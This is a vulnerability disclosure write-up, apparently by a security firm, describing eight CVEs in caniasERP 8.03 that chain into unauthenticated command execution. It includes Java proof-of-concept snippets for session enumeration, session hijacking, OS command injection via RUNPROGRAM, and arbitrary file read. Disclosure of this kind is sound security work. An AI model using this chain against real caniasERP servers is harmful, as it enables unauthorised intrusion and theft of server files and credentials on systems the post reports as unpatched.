Compromising caniasERP 8.03: Eight CVEs, One Unauthenticated RCE Chain
Eight zero-interaction vulnerabilities in Industrial Application Software caniasERP 8.03 — from unauthenticated session enumeration to full OS command execution via a Java RMI session hijack chain.
Compromising caniasERP 8.03: Eight CVEs, One Unauthenticated RCE Chain
caniasERP is an Enterprise Resource Planning platform developed by Industrial Application Software GmbH (IAS), deployed across manufacturing and industrial environments worldwide. In April 2025 we started pulling at a thread in the JNLP deployment endpoint — and what unraveled was a chain of eight individually reported vulnerabilities that together allow a completely unauthenticated remote attacker to achieve OS command execution with service-account privileges.
No credentials. No prior knowledge. One open port.
Attack Surface: Java RMI Over Plain HTTP
caniasERP delivers its client application via a JNLP (Java Web Start) file served over plain HTTP. The JNLP file references client JAR files — canias*.jar — which are freely downloadable without any authentication. The JARs expose a Java RMI interface (iasServerRemoteInterface) bound to a configurable TCP port. Every operation the legitimate client performs — login, file transfer, session management, code execution — goes through a single method:
Object doAction(byte[] request)The binding name follows the pattern XXXXXXXXS2OUT and is embedded in the JNLP file or enumerable via registry.list(). Since the JARs are public and decompile cleanly with JADX, the full RMI protocol — every request/response class, every field name — is recoverable without any server access. This is the foundation that makes the entire chain possible.
CVE Overview
| CVE | Component | Class | CWE | CVSS |
|---|---|---|---|---|
| CVE-2026-8214 | RMI Interface — doAction (sessionId) | Improper Authentication | CWE-287 | 5.3 |
| CVE-2026-8215 | RMI Interface — iasRequestFileEvent | Path Traversal | CWE-22 | 5.3 |
| CVE-2026-8216 | Java RMI Session Management — doAction | Improper Authentication | CWE-287 | 7.3 |
| CVE-2026-8217 | RMI Interface — Runtime.getRuntime().exec | OS Command Injection | CWE-78 | 6.3 |
| CVE-2026-8241 | RMI Interface — iasGetServerInfoEvent | Improper Authorization | CWE-285 | 5.3 |
| CVE-2026-8242 | Login RMI Interface — doAction | Response Discrepancy | CWE-204 | 3.7 |
| CVE-2026-8243 | JNLP Deployment Endpoint | Hard-coded Key | CWE-321 | 5.3 |
| CVE-2026-8244 | Login RMI Interface — clientVersion | Improper Authentication | CWE-287 | 5.3 |
Vendor was contacted before publication and did not respond in any way.
The RCE Chain
The four-step chain uses CVE-2026-8214, CVE-2026-8216, CVE-2026-8217, and CVE-2026-8215 in sequence. The remaining four are either enablers or independent impact paths.
[Attacker — zero credentials]
Accesses
GET /canias.jnlp (no auth)
Triggers
CVE-2026-8214 · iasGetUserListEvent
Uses (or: CVE-2026-8244 → session ID)
CVE-2026-8216 · iasClientRequest(sessionId, ...)
Executes
CVE-2026-8217 · iasCtiRunCodeEvent("RUNPROGRAM ...")
Reads
CVE-2026-8215 · iasRequestFileEvent(direction=0)
Result
[Shell on server — service account privileges]Step 1 — Unauthenticated Session Enumeration (CVE-2026-8214)
iasGetUserListEvent returns a list of all currently active sessions on the server with no authentication check. The call requires no session ID and no credentials:
iasGetUserListEvent event = new iasGetUserListEvent();
iasClientRequest req = new iasClientRequest(event);
byte[] data = req.generateBytes();
if (compress) data = iasCommunicationCompressor.compressData(data);
byte[] resp = server.doAction(data);
if (compress) resp = iasCommunicationCompressor.deCompressData(resp);
iasGetUserListResponse ulr = (iasGetUserListResponse)
iasServerResponseContainer.generateFromBytes(resp).getResponse();
Vector<iasSessionInfo> users = ulr.getUserList();
// → each entry: sessionId, userName, clientType (JAVA/WEB/CRONJOB), loginTimestamp, clientIPThe response yields every active session's ID, username, client type (JAVA, WEB, CRONJOB), login timestamp, and client IP address. These session IDs are the direct input to Step 2.
Step 2 — Session Hijack (CVE-2026-8216)
iasClientRequest accepts a session ID as its first constructor argument. The server performs no validation that the caller owns or previously established the session — the ID is both identifier and authenticator. Supplying any live session ID from Step 1 is sufficient:
// sessionId sourced from CVE-2026-8214
iasClientRequest req = new iasClientRequest(sessionId, event);The server does not bind sessions to the originating IP, a secondary token, or any out-of-band credential.
A compounding weakness makes CVE-2026-8216 independently exploitable even without CVE-2026-8214: session identifiers follow a predictable format — {USERNAME}_{HEX_COUNTER} — where the hexadecimal counter is a globally incrementing value shared across all sessions. An attacker who knows a valid username (obtainable via CVE-2026-8242) can brute-force the counter space directly. In practice this constraint rarely applies, since background scheduled jobs (e.g. CRONJOB_76C9505833) maintain a continuous stream of active sessions that CVE-2026-8214 exposes without any guesswork.
Step 3 — OS Command Injection (CVE-2026-8217)
With a hijacked session, iasCtiRunCodeEvent passes a Troia script string to Runtime.getRuntime().exec() on the server. Troia is caniasERP's built-in scripting language; its RUNPROGRAM keyword is a thin wrapper over native OS execution:
String troiaCode =
"RUNPROGRAM 'cmd.exe /c whoami > C:\\Windows\\Temp\\poc_out.txt 2>&1' WITH WAIT;";
iasCtiRunCodeEvent event = new iasCtiRunCodeEvent(troiaCode);
iasClientRequest req = new iasClientRequest(sessionId, event);
byte[] data = req.generateBytes();
if (compress) data = iasCommunicationCompressor.compressData(data);
server.doAction(data);The command runs as the caniasERP Windows service account. No role-based access control is enforced — CRONJOB sessions and regular user sessions alike can trigger unrestricted command execution. VulDB maps this to CWE-78 and ATT&CK T1202. Note that PR:L in the CVSS vector refers to the hijacked session — which is itself obtained without credentials via Steps 1 and 2.
Step 4 — Output Exfiltration via Arbitrary File Read (CVE-2026-8215)
iasRequestFileEvent with direction=0 (SERVER_TO_CLIENT) reads any file from the server filesystem and returns its raw bytes. No session ID, authentication check, authorization control, path canonicalization, or allowed-directory whitelist is enforced — the iasClientRequest is constructed without a session argument, making this primitive independently unauthenticated. The m_strSourceFileName argument is a private field set via reflection, accepting any absolute path:
iasRequestFileEvent ftEvent = new iasRequestFileEvent();
ftEvent.setDirection(0); // 0 = SERVER_TO_CLIENT
Field srcField = ftEvent.getClass().getDeclaredField("m_strSourceFileName");
srcField.setAccessible(true);
srcField.set(ftEvent, "C:\\Windows\\Temp\\poc_out.txt");
iasClientRequest req = new iasClientRequest(ftEvent);
byte[] data = req.generateBytes();
if (compress) data = iasCommunicationCompressor.compressData(data);
byte[] resp = server.doAction(data);
if (compress) resp = iasCommunicationCompressor.deCompressData(resp);
iasRequestFileEvent rfe = (iasRequestFileEvent)
iasServerResponseContainer.generateFromBytes(resp).getResponse();
byte[] content = rfe.getFilePart().getData();This closes the loop: Step 3 writes command output to a known temp path; Step 4 reads it back. The same primitive independently allows reading any sensitive file on the server — configuration files, credentials, logs — without any authentication.
Supporting Vulnerabilities
CVE-2026-8241 — Pre-Authentication Server Info Disclosure
iasGetServerInfoEvent returns the server's application version and build number, operating system name and architecture, Java Runtime version, database type and name, database server address, maximum connection capacity, server locale, encoding, and timezone — all without authentication.
This is the mandatory prerequisite for CVE-2026-8244: the login interface requires the clientVersion field in the request to exactly match the server's version string (e.g. 8.03 22.09.29-02). An incorrect string returns VERSION_INCONSISTENCY with no data leakage. CVE-2026-8241 makes the exact string trivially obtainable in a single call before attempting CVE-2026-8244.
CVE-2026-8244 — Pre-Authentication User Profile Leak
Sending a login request with an empty username and empty password returns USERWRONGPASSWORD — but also embeds the complete profile of an arbitrary user from the database in the response. The user selection is non-deterministic across requests, meaning repeated calls may disclose profiles of different accounts.
The leaked data includes: full name, surname, a freshly-assigned session ID per request, the caller's IP address as seen by the server, the complete menu and module permission tree, database name, database server address, server and client version strings, server timezone, server filesystem paths, and the SHA-256 hash of the submitted password reflected back in the response (empty string yields e3b0c44...).
CVE-2026-8242 — Username Enumeration via Response Discrepancy
The login interface returns different iasLoginResponseStatus codes depending on whether a username exists:
| Response Code | Meaning |
|---|---|
USERWRONGPASSWORD | Username exists — password incorrect |
USERNOTFOUND | Username does not exist |
USERISLOCKED | Username exists — account locked |
PASSWORDEXPIRED | Username exists — password expired |
This allows precise username enumeration against any deployment. The CVSS vector reflects AC:H, acknowledging the higher operational effort compared to the other vulnerabilities in the chain.
CVE-2026-8243 — Hardcoded Cryptographic Keys in Public JARs
The client JARs, downloadable without authentication via the JNLP endpoint, contain multiple compile-time constant cryptographic keys:
| Class | Algorithm | Field |
|---|---|---|
iasCryptoAESImpl | AES-128 | KEY |
iasCryptoAESCP256Impl | AES-256 | KEY |
iasCryptoTESImpl | Triple DES | KEY |
iasCryptoDESImpl | DES-56 (broken) | KEY |
iasCryptoBLFImpl | Blowfish | KEY |
iasCryptoCustomImpl | Custom | INNER_PRIVATEKEY |
iasSettingsFileReader | AES (file decryption) | FileEKey, EPrefix |
iasMobileToolkitUtils | AES (mobile client) | KEY |
The default prefix present in most key names strongly suggests these were development placeholders never replaced before shipping.
Disclosure Timeline
| Date | Event |
|---|---|
| April 2025 | Vulnerabilities discovered via JNLP endpoint and JAR decompilation |
| April 20, 2026 | Vendor notified — no response received |
| May 9, 2026 | All eight CVEs published |
Bilal Güneş (@b1lal) of HawkTrace.
Conclusion
This chain started with a publicly accessible JNLP endpoint and a javac invocation. Every step used classes and method signatures recovered by decompiling the client JARs the vendor distributes to anyone who visits the deployment URL. No fuzzing, no memory corruption, no server-side credentials — just a protocol designed for a trusted LAN, exposed to the internet with no authentication wrapper around it.
This is the kind of stuff we do at HawkTrace we dig into source code, trace the data flows manually, and find attack paths that scanners will never catch. If you're curious about what an actual attacker would find in your environment, hit us up.
Stay Protected
Security vulnerabilities are discovered constantly. HawkTrace helps organizations stay ahead of threats through comprehensive security assessments, APT simulations, and continuous threat hunting.
Need expert security consultation? Contact us or explore more research.
